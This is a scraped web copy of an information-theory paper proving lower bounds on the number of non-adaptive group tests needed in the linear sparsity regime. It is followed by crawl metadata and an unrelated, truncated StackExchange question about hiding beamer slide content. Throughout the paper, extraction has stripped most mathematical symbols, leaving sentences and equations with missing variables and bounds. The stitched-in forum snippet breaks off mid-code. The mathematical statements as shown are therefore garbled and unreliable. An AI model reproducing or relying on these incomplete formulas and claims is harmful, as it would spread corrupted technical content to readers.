Novel Impossibility Results for Group-Testing In this work we prove non-trivial impossibility results for perhaps the simplest non-linear estimation problem, that of Group Testing (GT), via the recently developed Madiman-Tetali inequalities. Group Testing concerns itself with identifying a hidden set of d defective items from a set of n items via t disjunctive/pooled measurements ("group tests"). We consider the linear sparsity regime, i.e. d = δ n for any constant δ >0, a hitherto little-explored (though natural) regime. In a standard information-theoretic setting, where the tests are required to be non-adaptive and a small probability of reconstruction error is allowed, our lower bounds on t are the first that improve over the classical counting lower bound, t/n ≥ H(δ), where H(·) is the binary entropy function. As corollaries of our result, we show that (i) for δ≳ 0.347, individual testing is essentially optimal, i.e., t ≥ n(1-o(1)); and (ii) there is an adaptivity gap, since for δ∈ (0.3471,0.3819) known adaptive GT algorithms require fewer than n tests to reconstruct D, whereas our bounds imply that the best nonadaptive algorithm must essentially be individual testing of each element. Perhaps most importantly, our work provides a framework for combining combinatorial and information-theoretic methods for deriving non-trivial lower bounds for a variety of non-linear estimation problems. Authors • 6 publications • 13 publications • 27 publications • Near-Optimal Sparse Adaptive Group Testing In group testing, the goal is to identify a subset of defective items wi... 04/07/2020 ∙ by Nelvin Tan, et al. ∙ 0 • Minimax Lower Bounds for Linear Independence Testing Linear independence testing is a fundamental information-theoretic and s... 01/23/2016 ∙ by Aaditya Ramdas, et al. ∙ 0 Group Testing (GT) addresses the problem of identifying a small subset o... 01/15/2018 ∙ by Alejandro Cohen, et al. ∙ 0 • A Simple and Efficient Strategy for the Coin Weighing Problem with a Spring Scale This paper considers a generalized version of the coin weighing problem ... 05/08/2018 ∙ by Esmaeil Karimi, et al. ∙ 0 • Rates of adaptive group testing in the linear regime We consider adaptive group testing in the linear regime, where the numbe... 01/22/2019 ∙ by Matthew Aldridge, et al. ∙ 0 • Geometric group testing Group testing is concerned with identifying t defective items in a set o... 04/30/2020 ∙ by Benjamin Aram Berendsohn, et al. ∙ 0 • Complete Test Sets And Their Approximations We use testing to check if a combinational circuit N always evaluates to... 08/16/2018 ∙ by Eugene Goldberg, et al. ∙ 0 This week in AI Get the week's most popular data science and artificial intelligence research sent straight to your inbox every Saturday. 1 Introduction Estimation/inverse problems are the bread and butter of engineering – given a system with a known input-output relationship, an observed output, and statistics on the input, the goal is to infer the input. While much is known about linear estimation problems and their fundamental limits [16, 22], understandably characterizing the fundamental limits of non-linear estimation problems are considerably more challenging. Arguably one of the “simplest” non-linear estimation problems is that of Group Testing (GT). It is assumed that hidden among a set of items is a special set of defective items.111It is typically assumed that the value of , or a good upper bound on it, is known a priori. This is because it can be shown that PAC-learning the value of is “cheap” in terms of the number of group tests required [6]. The classical problem as posed by Dorfman [8], requires one to exactly estimate via disjunctive measurements (“group tests”) on “pools” of items. That is, the output of each test is positive if the pool contains at least one item from , and negative otherwise. Besides its intrinsic appeal as a fundamental estimation problem, group-testing and its generalizations have a variety of diverse applications, such as bioinformatics [21], wireless communications [28, 3], and pattern finding [17]. Group testing problems come in a variety of flavours. In particular: 1. (Non)-Adaptivity: The testing algorithm can be adaptive (tests may be designed depending on previous test outcomes) or non-adaptive (tests must be designed non-adaptively, allowing for parallel testing/standardized hardware). 2. Reconstruction error: The reconstruction algorithm might need to be zero-error (always output the correct answer), or vanishing error (the probability of error goes to zero asymptotically in ), or an probability of error (-error) may be allowed. 222Note that the error here is in the decoder, not in the test outcomes. There is considerable other literature (e.g. [4]) for the scenario when the test outcomes themselves may be noisy, for instance due to faulty hardware. 3. Statistics of : Different works consider different statistical models for . In Combinatorial Group Testing (CGT), it is assumed that any set of items may be defective, whereas in Probabilistic Group Testing (PGT), items are assumed to be i.i.d. defective with probability . 4. Sparsity regime: Finally, it turns out that the specific sparsity regime matters - the regime where scales sub linearly in has seen much work, whereas the linear sparsity regime ( for some constant ) is relatively little explored. In this work we focus on non-adaptive group-testing with -error in the linear sparsity regime – indeed, this is perhaps the most “natural” version of the problem, especially when viewed through an information-theoretic lens (for instance, the most investigated/used versions of channel codes are: non-adaptive since the encoder does not get to see the decoder’s input; allow for reconstruction error; and typically have constant rate and hence are in the linear regime). Nonetheless, to put our own results in context we first briefly reprise the literature for other flavors of the problem in table 1. Note that, with a slight abuse of notation, we denote by the entropy of the random variable/vector , as well as the binary entropy function . This should be clear from the argument of the function. In particular, let us briefly discuss the existing results of -error nonadaptive group testing problem, the focus of this paper. It is quite straightforward to come up with a converse result based on counting/Fano’s inequality (for example, see [4]) that says . In [1], it has been shown that this bound is also tight for small , as long as by showing randomized achievability schemes. Probabilistic existence of achievability schemes in this regime has also been derived, including for more general settings, in [31] (see Theorem 5.5 therein). If we are allowed to sacrifice a constant factor in the number of tests, then we can have explicit deterministic construction of such achievability schemes [19]. It is to be noted that, there is a surprising lack of study in the regime where the number of defectives varies linearly with the number of elements, i.e., . The counting converse bound simply boils down to This implies that individual testing of items is optimal when . There is no other nontrivial converse bound that exists for the linear regime. In this paper we aim to close this gap. On the other hand, a recent work by Wadayama [26], provides an achievability scheme in this regime based on sparse-graph codes (and density-evolution analysis). For certain values of (for example ), this achievability scheme is in direct contradiction with our impossibility result in theorem 7. It also is worth pointing out that the linear-sparsity regime is well-studied for adaptive group testing starting as early as in the sixties.333The authors would like to thank Matthew Aldridge for drawing our attention to this part of the literature. It has been shown that under a zero probability of error metric, for individual testing is the optimal strategy [25]444In the literature there is also a conjecture [13] that if one demands that the worst-case number of tests (rather than average number of tests) be less than , then under a zero probability of error metric no value of can be tolerated. On the other hand, a rather simple adaptive algorithm achieves an expected number of tests equaling at most and identifies all defectives [25]555 [25] actually ascribes this algorithm to folklore – we have been unable to find an earlier reference to this result. – we reprise this algorithm for completeness in section A.2. This is interesting if we contrast this with our converse result. There is a regime of values of (roughly in the range ), where zero-error adaptive algorithms on average require fewer than tests to reconstruct , however our bounds imply that the best nonadaptive algorithm (even with vanishing error) turns out to essentially be individual testing of each element. 1.1 Our Contributions and Techniques The canonical method (variously called the information-theoretic bound, or the counting bound) for proving impossibility results for group-testing problems via information-theoretic methods is quite robust to model perturbations: it works for adaptive and non-adaptive algorithms, zero-error and vanishing error reconstruction error criteria, PGT and CGT, and sub-linear and linear regimes. This method (see the Appendix in [4] for an example) generally proceeds as follows: 1. Entropy bound on input: One first bounds the entropy of the -length binary vector describing the status of the items (this means, the entry corresponding to an element in is if and only if the element is defective): this quantity equals in the CGT case, and in the PGT case666One can see directly via Stirling’s approximation that for large these two quantities are equal, up to lower-order terms.; then 2. Information (in)equalities/Fano’s inequality: One uses standard information equalities, the data-processing inequality, the chain-rule, and Fano’s inequality to argue that any group-testing scheme must satisfy the inequality (here is a binary vector describing the set of test outcomes (that means an entry in is if and only if the corresponding test result is positive), and is a lower bound on the probability of error of the group-testing scheme); and then 3. Independence bound. Since is a binary vector, one uses the independence bound to argue that , and thereby obtains a lower bound on the required number of tests , as a function of , and . Perhaps surprisingly, even for such a non-linear problem as group-testing, for a variety of group-testing flavors (such as non-adaptive GT with vanishing error when  [1]) such a straightforward approach results in an essentially tight lower bound on the number of tests required. The key contribution of our work is to provide a tightening of the method above for the regimes where it is not known to be tight. While we believe our generalization technique is also fairly robust to various perturbations of the group-testing model, we focus in this work on the problem of -error non-adaptive PGT777As noted in the Remark at the end of section 2.6, almost all the techniques in this paper go through even for CGT – we highlight the current technical bottleneck there as well. in the linear sparsity regime. Possibly our key insight is that for this problem variant is that step (iii) of the counting bound may be quite loose. Specifically, we present three novel converse bounds in theorems 7, 2 and 1 for the general non-adaptive PGT problem in the linear regime. The result in theorem 1 follows from the observation that, for the individual test entropies are maximized when each test contains exactly one object. Another simple result, for , in theorem 2 follows from the observation that the individual test entropy, satisfies for most of the region because of the constraint that each test must contain an integer number of objects. Our main result (tighter than either theorem 1 or theorem 2, but also significantly more challenging to prove) in theorem 7 exploits the observation that the tests in the Non Adaptive Group Testing (NAGT) problem must have elements in common. For the linear regime, this observation leads to significant mutual information between the tests when the number of objects in the tests do not scale with . Hence, we can exploit this mutual information to tighten the upper bound on the joint entropy in step (iii) above. Figure 1 plots our results in the linear regime along with existing results in the literature. To bound the joint entropy in step (iii), we must look for information inequalities that upper bound the joint entropies of correlated random variables. While the fascinating polymatroidal properties of such joint entropies (Shannon-type inequalities) explored by Zhang and Yeung [30], as well as the non-Shannon-type inequalities that were subsequently found [29] and are not consequences of such polymatroidal properties, are in this direction, they are perhaps too general to offer much guidance as to which specific information-inequalities might prove useful for providing non-trivial lower bounds for NAGT. A more structured characterization in this direction is Han’s inequality [12] (implied by Shannon-type inequalities), that says H(Y[t])≤1t−1t∑i=1H(Y[t]∖{i}), where contains test results except for the th test. In this paper we use a significant generalization of Han’s inequality to an asymmetric setting due to Madiman and Tetali [18], that seems well-suited to analyzing the combinatorial structures naturally arising in NAGT. Consider the NAGT matrix , whose th element is 1 if and only if the th test includes the th element. Let denote the binary random variables corresponding to the test outcomes for and let denote the indicator random variables corresponding to the objects for . To demonstrate that non-trivial correlation between at least some sets of tests that must exist in our setting, we use the Madiman-Tetali inequalities [18], H(Y[t])≤∑S∈Cα(S)H(YS|YS−) (1) where and . The coefficients and the set form a cover of (more detail on this will be given in section 2). In theorem 7 we use the weak form eq. 24 of the inequality above – see section 4 for a discussion of the strong form and its potential use. We use a two-step procedure to bound the joint entropy. In the first step, we assume that all the rows of the matrix has same weight (i.e., all tests contain the same number of elements, section 2.5). The results are then extended to general group testing matrices by considering them as a union of tests of (differing) constant weights. The final result is summarized in theorem 7. In the rest of the paper, we first describe our converse results section 2, followed by a comparison with earlier bounds section 3 and future directions of this project. 2 Impossibility Results for Nonadaptive Group Testing 2.1 Notation and Model For integers let and . Let denote the logarithm to the base 2, unless otherwise stated. Consider the PGT problem with objects. Assume that we can tolerate a error probability in the decoding. Denote the indicator random variable which corresponds to object being defective by . Then are iid . With a slight abuse of notation, we use to refer to the random variable and the object interchangeably, when there is no scope of confusion. Let denote the fixed GT matrix with tests. Denote the random variable corresponding to the outcome of the test in row by and let for . For an object set , let denote the random variable corresponding to the test with object set . For a class of object sets , let denote the random vector corresponding to the test with object sets . Let denote the set of objects included in test and let denote the tests containing the object . Let denote the class of subsets of corresponding to the object sets of the tests ie. . For a class of sets , and define as the class with set removed from all subsets in and let . 2.2 Simple Converse Bounds Recall that in the linear sparsity regime each element is defective with probability . The canonical counting bound for the Group Testing problem gives the following upper bound on the number of tests for the -error case: t/n≥H(δ)−ϵ (2) This method uses the independence bound to get an upper bound on the joint entropy of the tests, eq. 3, and then uses Fano’s inequality, eq. 4, to get a a lower bound on . H(Y[t])≤t (3) H(X[n])=nH(δ)≤H(Y[t])+ϵn. (4) We tighten eq. 2 by improving the bound in eq. 3 for the non-adaptive PGT problem in the linear regime. We do this by exploiting the fact the in the NAGT problem there would be a significant fraction of tests that have elements in common. Intuitively, we would want to maximize the entropy of the individual tests by choosing such that i.e. for where k0(δ)≜log\lparen1/2\rparenlog(1−δ) (5) This implies that all tests contain a constant (with respect to ) number of objects. When any set of such tests have an object in common, we can bound their joint entropy away from . We exploit this fact to bound the joint entropy away from . But first, we exploit the nature of the group tests to improve eq. 2. Theorem 1. For the PGT problem, we need at least tests to identify the defective set with error probability for where δ⋆≜3−√52 . Proof. Using the entropy chain rule, for , we have, H(Y[t]) ≤∑l∈[t]H(Yl) ≤∑l∈[t]H((1−δ)|Rl|) ≤tH(1−δ)=tH(δ) (6) where the inequality in section 2.2 follows since for , . Now, using eq. 4 and section 2.2 we get, t≥n(1−ϵ/H(δ)) Thus, for we cannot do any better than individual testing. In the rest of the section, we focus on the GT bound for . Even in this regime, we can use the fact that eq. 5 is not an integer for all values of to improve eq. 2 without much effort. Theorem 2. t/n≥nH(δ)−ϵmaxk∈NH((1−δ)k) Proof. Due to the fact that each test can contain only an integer number of objects, we have H(Yl)=H((1−δ)|Rl|)≤maxk∈NH((1−δ)k) ⟹H(Y[t])≤∑l∈[t]H(Yl)≤nmaxk∈NH((1−δ)k) (7) Hence theorem 2 follows from eq. 4 and section 2.2. ∎ Note that, for , . Therefore, the result in theorem 2 improves over the classical counting bound. 2.3 Upper Bound via Madiman Tetali inequality To improve eq. 3 further for all values of , we use the Madiman Tetali inequalities in [18] to exploit the correlation between tests, H(Y[t])≤∑S∈Cα(S)H(YS) (8) where are a class of subsets of that cover , and denote a fractional cover of the hypergraph on vertex set . This means that for each , the set of numbers satisfy the relation . Note that using the independence bound for in eq. 8 we have, H(Y[t])≤∑S∈Cα(S)|S| (9) where . Therefore, to improve eq. 3 we have to utilize the fact that have joint entropy less than . Heeding this intuition, first for a fixed set , we derive a non-trivial upper bound on in section 2.4, for tests such that all of them have at least one object in common ie . Next, we use this bound to derive a closed-form expression for the joint entropy in eq. 8 for a constant row weight NAGT matrix in section 2.5. Finally, we generalize the upper bound to derive a closed form expression for arbitrary row weight matrices in section 2.6. Using this expression and eq. 4, we get an improvement over the counting lower bound in theorem 7. 2.4 Upper bound on H(YS) Consider a set such that there exists an object that is common in all the tests . Also assume that, . In this case, we upper bound the joint entropy of the tests in theorem 3. Theorem 3. Consider , such that , and all tests have at least one object in common. Then, H(YS)≤(1−δ)|S|H((1−δ)k−1)+H(δ)−fδ,k(|S|) (10) where fδ,k(s)≜(δ+(1−δ)pδ,ks)H(δδ+(1−δ)pδ,ks) (11) and pδ,k≜(1−(1−δ)k−1) (12) In the rest of this section, we give the proof of theorem 3. Assume that the tests have object in common. Let denote the set of tests containing the same objects as but with object removed from all tests ie. . We have, H(YS)=H(YS|X)+H(X)−H(X|YS) (13) H(YS|X)=(1−δ)H(Y′S)≤|S|(1−δ)H((1−δ)k−1) (14) H(X)=H(δ) (15) (16) Therefore, combining eq. 13, eq. 14, eq. 15, and eq. 16, we have H(YS) ≤(1−δ)H((1−δ)k−1)+H(δ)−H(X|YS) (17) Note that, (18) Thus, the expression for in eq. 16 is minimized at the minimum possible value of . We lower bound the probability using lemma 4 to get an upper bound on eq. 17. Lemma 4. For any , we have, (19) Proof. Note that . We show that the minimization in eq. 22 occurs when all object sets are disjoint. Since, in that case the tests in are independent, we must have, (20) =∏l∈S(1−(1−δ)rl) Without loss of generality, let . Suppose that, the tests are such that there exists an object that is common among tests for some . Then, we show that, we can decrease the probability by modifying to by including an object in instead of object such that . Denote the modified tests by . Then, it suffices to prove that, (21) since using eq. 21 recursively for objects contained in more than one tests in we can prove eq. 20. We prove eq. 21 in section A.1. ∎ Thus, from lemma 4 we have, (22) where is defined in eq. 12. Hence, from eq. 16, eq. 18, and eq. 22, we have, H(X|YS)≥fδ,k(|S|) (23) Now, combining eqs. 23 and 17 we have, H(YS)≤(1−δ)|S|H((1−δ)k−1)+H(δ)−fδ,k(|S|) where is as defined in eq. 11. 2.5 Constant Row Weight Testing Matrix In this section we assume that matrix has constant row weight such that . Intuitively, this is a very natural assumption. Since it allows each test in matrix to be symmetric. This assumption also allows us to easily upper bound the joint entropy of the tests using eq. 8, as we see below. To apply eq. 8, we consider the hypergraph with edges and having matrix as the incidence matrix. Thus, , where denotes the support set of column in . Note that, in this case, forms a cover of the hypergraph . Therefore, we have, H(Y[t])≤1kn∑i=1H(YSi) (24) We upper bound the expression on the RHS in eq. 24 to get an asymptotic closed form expression for the joint entropy of the form, H(Y[t])n≤gδ,k(t/n) (25) where is shown to be an increasing function of . Thus, using eq. 4, we have, Theorem 5. Consider the non-adaptive PGT problem, with tolerable probability of error . Assume that each object is defective independently with probability . Then, for a constant row weight group testing matrix, we have asymptotically in , tn≥g−1δ,k(H(δ)−ϵ) (26) where such that and (27) where is defined in eq. 11. The proof of theorem 5 follows from eq. 25 and eq. 4. The form of in eq. 25 is derived below as H(Y[t]) ≤t(1−δ)H((1−δ)k−1)+nkH(δ)−1kn∑i=1fδ,k(|S|) (28) (29) (30) =ngδ,k(t/n) where eq. 28 follows from theorem 3 and eq. 24, and eq. 29 follows from the convexity of from lemma 6. Note that since is a convex decreasing function of , must be a concave increasing function of . Thus, eq. 25 and hence theorem 5 follows. Lemma 6. is a convex decreasing function of Proof. We have, (31) and (32) where . Since is always positive for , is a decreasing convex function of from eqs. 31 and 32. ∎ 2.6 General Testing Matrix In this section, we remove the assumption that matrix has a fixed row weight and derive an upper bound on – better than eq. 3 – for the most general case. We use this upper bound to improve eq. 2 in theorem 7. We separate the matrix into submatrices based on the number of objects in the tests. Thus, matrix has tests of weight such that . Now, we show that the analysis in section 2.5 follows through for each matrix . Let . Assume w.l.o.g. that the tests corresponding to are . Denote the support sets of column in by . Note that some of the columns in the matrix may be empty, i.e. . Thus let denote the support sets corresponding to the non-empty columns. Let denote the class of support sets where each empty column is considered a distinct set. Therefore we have, H(Y[tk−1+1,tk]) ≤∑Sk,i∈C′kα(S)H(YS) =1k∑Sk,i∈C′kH(YSk,i|Xi)+H(Xi)−H(Xi|YSk,i) (33) When , we have and . Note that for the lower bound in eq. 23 also gives . Therefore, (34) Hence, combining eqs. 34 and 2.6 we have H(Y[tk−1+1,tk]) (35) Remark. Note that the manipulation in eq. 34, although seemingly unnecessary, is required because is not possible in section 2.5. But since this is possible in this section with non-constant weight GT matrices, the lower bound of in eq. 23 may not hold in this case. But this algebraic manipulation resolves that problem. Using the expressions in eq. 14, eq. 15 and eq. 23 in eq. 35, we have, H(Y[tk−1+1,tk]) ⟺H(Y[tk−1+1,tk])n =gδ,k(αktn) (36) where for , we define, gδ,1(T)≜TH(δ). (37) Thus, we have from section 2.6, H(Y[t])n ≤∑k≥1H(Y[tk−1+1,tk])n (38) ≤∑k≥1gδ,k(αkt/n) (39) ≤max{αk}k:∑kαk=1∑k≥1gδ,k(αkt/n) (40) =maxk≥1gδ,k(t/n) (41) where eq. 41 follows since the maximization in eq. 40 is over a convex polytope and is a concave increasing function of from eq. 32 and eq. 37 and the following equations, equationparentequation ∂2∑k≥1gδ,k(αkT)∂α2m=−mT2∂2fδ,m(x)∂x2∣∣x=mαmT (42a) ∂2∑k≥1gδ,k(αkT)∂αm∂αm′=0. (42b) Then, from eq. 41 and eq. 4, we have our main result. Theorem 7. Consider the non-adaptive PGT problem with probability of error at most . Assume that each object is defective independently with probability . Then, we have asymptotically in , t/n≥g−1δ(H(δ)−ϵ) (43) where gδ(T)≜mink∈Ngδ,k(T) (44) The bound in theorem 7 intersects with at . Remark: Note that although we have stated the results in this paper for the PGT problem, most arguments in the paper go through for the corresponding CGT problem as well. The only problem arises in the proof of lemma 4 since when is not constant (w.r.t. ) . However we believe that with some effort and appropriate approximations, our techniques should also go through for CGT. 3 Discussion and Comparison In this section we compare the results in theorem 7 with other achievability and impossibility results in the literature. First, to show an adaptivity gap, we consider a simple adaptive algorithm for the GT problem presented in [11] and analyze the expected number of tests required. The algorithm is defined in section A.2. The expected number of tests performed is (45) The graph in fig. 1 plots the lower bound in theorem 7, the expected number of tests in eq. 45, the quantization bound in theorem 2, and the entropy counting bound,  eq. 2 for vanishing error i.e. . The solid circle markers in the plot represent the bound in eq. 43 for such that . From fig. 1, there exists a non-vanishing gap between the lower bound in theorem 7 and the counting bound. The quantization bound in theorem 2 also improves over the counting bound for a significant region of . As claimed earlier, we can also see an adaptivity gap in fig. 1 represented by the shaded region. Even when the results in theorem 7 are plotted for , we can see from eq. 43 and fig. 1 that there would exist a non-vanishing gap between eq. 43 and the counting bound for small values of as well. For , it would be possible to ignore certain objects altogether during tests, and hence a smaller number of tests could be possible. The number of objects in each test in the GT matrix is constrained to be an integer. This gives a discrete nature to the bound in eq. 43. This is evident from the piecewise nature of plot for the lower bound in eq. 43. 4 Future Work / Implications In this work we use the weak form of the Madiman-Tetali inequalities in [18] to upper bound the joint entropy of the test . Since the weak form of the inequalities ignores the gains the conditional form of the entropy function provides, we suspect that there is a lot more to be gained by exploiting the strong form in eq. 1. Motivated by the results in this work, we conjecture that for any constant , non-adaptive tests are necessary to ensure vanishing error. From the the plots in fig. 1 and theorem 7 we see that the joint entropy of the tests is minimized for row weight . As decreases (and increases) the improvement in the first term () in eq. 13 reduces. For eq. 1, the strong form of the Madiman-Tetali inequalities, this term becomes H(YS|Xi,YS−). (46) Recall the definition of from eq. 1. Intuitively, as increases, the average mutual information between tests and increases. Thus, for the conditional Madiman-Tetali form, the term in eq. 46 may be a lot smaller for small . Hence we believe that the bound in theorem 7 could potentially be improved significantly by using the conditional form of the Madiman-Tetali inequalities. However, the analytical approximations involved in using these techniques are also non-trivial. Another way to see that the bound in theorem 7 is loose is by changing the hypergraph in eq. 24. Instead of taking the support of a single column of as hyperedges in in eq. 24, we could use the union of support of columns, for i.e. . For large we can see that a large number of tests corresponding to the hyperedges will have more than one object in common. Therefore, we believe there is still room for improvement even just employing the weak degree form of the Madiman-Tetali inequalities. One more potentially promising direction worth exploring is to consider the rows or columns of the NAGT matrix as codewords of a binary code, use the combinatorial Delsarte inequalities [7] that provide non-trivial bounds on the distance spectrum of codes to appropriately “tighten” the information-theoretic Shannon-type inequalities (specifically the Madiman-Tetali inequalities) in this work. We are motivated by the fact that such an optimization approach has had significant success in providing the essentially tightest known upper bounds on the sizes of binary error-correcting codes [20] – while we freely admit that it is unclear to us what such a fusion of combinatorial and information-theoretic techniques might look like concretely, nonetheless, the prospect is intriguing. Finally we believe that our technique of lower bounding the number of tests via the Madiman-Tetali inequalities may have wide applicability in similar sparse recovery problems and other variants of group testing, such as threshold group testing [5], the pooled-data problem [27], and potentially even long-standing open problems pertaining to threshold secret-sharing schemes [2]. 5 Acknowledgements The authors would also like to thank Oliver Johnson, Matthew Aldridge, and Jonathan Scarlett for enlightening discussions that significantly improved this work. In particular we would like to acknowledge Oliver Johnson for drawing our attention to [25, 23], to Matthew Aldridge for the observation that our lower bounds imply an adaptivity gap, and to all three for helpful discussions regarding [26]. This work was partially funded by a grant from the University Grants Committee of the Hong Kong Special Administrative Region (Project No. AoE/E-02/08), RGC GRF grants 14208315 and 14313116 and NSF awards CCF 1642550 and CCF 1618512. Appendix A Appendix a.1 Proof of the remainder of Lemma 4 Let and let denote the event when the test is negative, and denote the event . Let denote the complement of the event . Let . 1 Using inclusion-exclusion [24, Section 2.1], we have, (47) 2 Let denote the event when the test is negative, and denote the event . Let denote the complement of the event . Let . Then, for any , (48) Proof. Using step 1, we have, (49) Again using step 1 we have, (50) (51) where (50) follows from (A.1). Now (48) directly follows from (51) ∎ 3We have, using step 1 and step 2, =∑U⊆S:1∉U or ∩U=∅(−1)|U|(1−δ)|[R(U)]|+∑U⊆S∖{1}:∩U≠∅(−1)|U|+1(1−δ)|[R(U)]∩R1|+1 (52) where (52) follows since Let . Below we analyze the expected number of tests required in Algorithm 1 Algorithm 1 conducts tests in lines 1, 1, 1 : 1. The first test in line 1 is always performed, 2. The second test in line 1 is performed iff . 3. The third test in line 1 is performed iff . Thus the expected number of tests performed is (53) References • [1] M. Aldridge, O. Johnson, and J. Scarlett, “Improved Group Testing Rates with Constant Column Weight Designs,” in IEEE International Symposium On Information Theory (ISIT), 2016, pp. 1381–1385. • [2] A. Beimel, “Secret-Sharing Schemes: A Survey,” IWCC, vol. 6639, pp. 11–46, 2011. • [3] T. Berger, N. Mehravari, D. Towsley, and J. Wolf, “Random Multiple-access Communication and Group Testing,” IEEE Transactions on Communications, vol. 32, no. 7, pp. 769–779, 1984. • [4] C. L. Chan, S. Jaggi, V. Saligrama, and S. Agnihotri, “Non-adaptive Group Testing: Explicit Bounds and Novel Algorithms,” IEEE Transactions on Information Theory, vol. 60, no. 5, pp. 3019–3035, 2014. • [5] P. Damaschke, “Threshold Group Testing,” in General theory of information transfer and combinatorics.   Springer, 2006, pp. 707–718. • [6] P. Damaschke and A. S. Muhammad, “Bounds for Nonadaptive Group Tests to Estimate the Amount of Defectives,” in International Conference On Combinatorial Optimization and Applications .   Springer, 2010, pp. 117–130. • [7] P. Delsarte, “An Algebraic Approach to the Association Achemes of Coding Theory,” Philips Res. Reports Suppls., vol. 10, 1973. • [8] R. Dorfman, “The Detection of Defective Members of Large Populations,” the Annals of Mathematical Statistics, vol. 14, no. 4, pp. 436–440, 1943. • [9] D.-Z. Du and F. K. Hwang, Combinatorial Group Testing and its Applications.   World Scientific, 2000. • [10] A. G. D’yachkov and V. V. Rykov, “Bounds on the Length of Disjunctive Codes,” Problemy Peredachi Informatsii, vol. 18, no. 3, pp. 7–13, 1982. • [11] P. Fischer, N. Klasner, and I. Wegener, “On the Cut-off Point for Combinatorial Group Testing,” Discrete Applied Mathematics, vol. 91, no. 1-3, pp. 83–92, 1999. • [12] T. S. Han, “Nonnegative Entropy Measures of Multivariate Symmetric Correlations,” Information and Control, vol. 36, no. 2, pp. 133–156, 1978. • [13] M. Hu, F. Hwang, and J. K. Wang, “A Boundary Problem for Group Testing,” SIAM Journal on Algebraic Discrete Methods, vol. 2, no. 2, pp. 81–87, 1981. • [14] F. Hwang, “A Method for Detecting all Defective Members in a Population by Group Testing,” Journal of the American Statistical Association, vol. 67, no. 339, pp. 605–608, 1972. • [15] F. Hwang and V. Sós, “Non-adaptive Hypergeometric Group Testing,” Studia Sci. Math. Hungar, vol. 22, pp. 257–263, 1987. • [16] T. Kailath, A. H. Sayed, and B. Hassibi, Linear estimation.   Prentice Hall Upper Saddle River, NJ, 2000, vol. 1. • [17] A. J. Macula and L. J. Popyack, “A group testing method for finding patterns in data,” Discrete applied mathematics, vol. 144, no. 1, pp. 149–157, 2004. • [18] M. Madiman and P. Tetali, “Information Inequalities for Joint Distributions, With Interpretations and Applications,” IEEE Transactions on Information Theory, vol. 56, no. 6, pp. 2699–2713, 2010. • [19] A. Mazumdar, “Nonadaptive Group Testing with Random Set of Defectives,” IEEE Transactions on Information Theory, vol. 62, no. 12, pp. 7522–7531, 2016. • [20] R. McEliece, E. Rodemich, H. Rumsey, and L. Welch, “New upper bounds on the rate of a code via the Delsarte-MacWilliams inequalities,” IEEE Transactions on Information Theory, vol. 23, no. 2, pp. 157–166, 1977. • [21] H. Q. Ngo and D.-Z. Du, “A Survey on Combinatorial Group Testing Algorithms with Applications to DNA Library Screening,” Discrete Mathematical Problems with Medical Applications, vol. 55, pp. 171–182, 2000. • [22] G. Reeves and M. C. Gastpar, “Approximate Sparsity Pattern Recovery: Information-theoretic Lower Bounds,” IEEE Transactions on Information Theory, vol. 59, no. 6, pp. 3451–3465, 2013. • [23] L. Riccio and C. J. Colbourn, “Sharper Bounds in Adaptive Group Testing,” Taiwanese Journal of Mathematics, pp. 669–673, 2000. • [24] R. P. Stanley, “Enumerative Combinatorics. Vol. 1, Cambridge Studies in Advanced Mathematics,” 2012. • [25] P. Ungar, “The Cutoff Point for Group Testing,” Communications on Pure and Applied Mathematics, vol. 13, no. 1, pp. 49–54, 1960. • [26] T. Wadayama, “Nonadaptive Group Testing Based On Sparse Pooling Graphs,” IEEE Transactions on Information Theory, vol. 63, no. 3, pp. 1525–1534, 2017. • [27] I.-H. Wang, S.-L. Huang, K.-Y. Lee, and K.-C. Chen, “Data Extraction via Histogram and Arithmetic Mean Queries: Fundamental Limits and Algorithms,” in Information Theory (ISIT), 2016 IEEE International Symposium on.   IEEE, 2016, pp. 1386–1390. • [28] J. Wolf, “Born Again Group Testing: Multiaccess Communications,” Information Theory, IEEE Transactions on, vol. 31, no. 2, pp. 185–191, 1985. • [29] Z. Zhang and R. W. Yeung, “A non-Shannon-type Conditional Inequality of Information Quantities,” IEEE Transactions on Information Theory, vol. 43, no. 6, pp. 1982–1986, 1997. • [30] ——, “On Characterization of Entropy Function via Information Inequalities,” IEEE Transactions on Information Theory, vol. 44, no. 4, pp. 1440–1452, 1998. • [31] A. Zhigljavsky, “Probabilistic existence theorems in group testing,” Journal of statistical planning and inference, vol. 115, no. 1, pp. 1–43, 2003.
2021-01-23 14:05:07
{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8737128376960754, "perplexity": 758.9512618088488}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-04/segments/1610703538082.57/warc/CC-MAIN-20210123125715-20210123155715-00704.warc.gz"}
https://tex.stackexchange.com/questions/390352/hide-content-that-only-shown-in-specified-page-beamer
Hide content that only shown in specified page (beamer) There is an itemize in my slide, which is made of beamer, and three pages is generated for the three items. What I want is that Content "Another content (table) is here...." for the item 1 is only shown in the first page. These content should be hidden in the 2nd and 3rd page. So how can i reach this that? Thanks very much. \begin{frame} \frametitle{Main findings from JRuby micro-indy benchmark } \begin{itemize} \item<1-> \textbf{Transformation Pattern} A small number of transformation patterns occur much more frequently than the others. Another content (table) is here.... \item<2-> \textbf{Instance Pattern} A large number of equivalencies (mean 28.9\%) exist among method handles.%, and a method handle has 7.4 equivalent method handles on average. \item<3-> \textbf{Instance Pattern} The distribution for the equivalent MHG set's size is uneven. \end{itemize} \end{frame} • put in in an alt : \alt<1>{Here is your text}{\phantom{Here is the text in phantom... actually the same text as first}} – koleygr Sep 8 '17 at 3:28 • In phantom just put the same text as your first to keep the place of the replaced with empty space. – koleygr Sep 8 '17 at 3:30 If the text should simply vanish after the first slide, I suggest using \only<1>{your text}. If you want I to become invisible (i.e. keep the space) you could do \visible<1>{your text}. \documentclass{beamer} \begin{document} 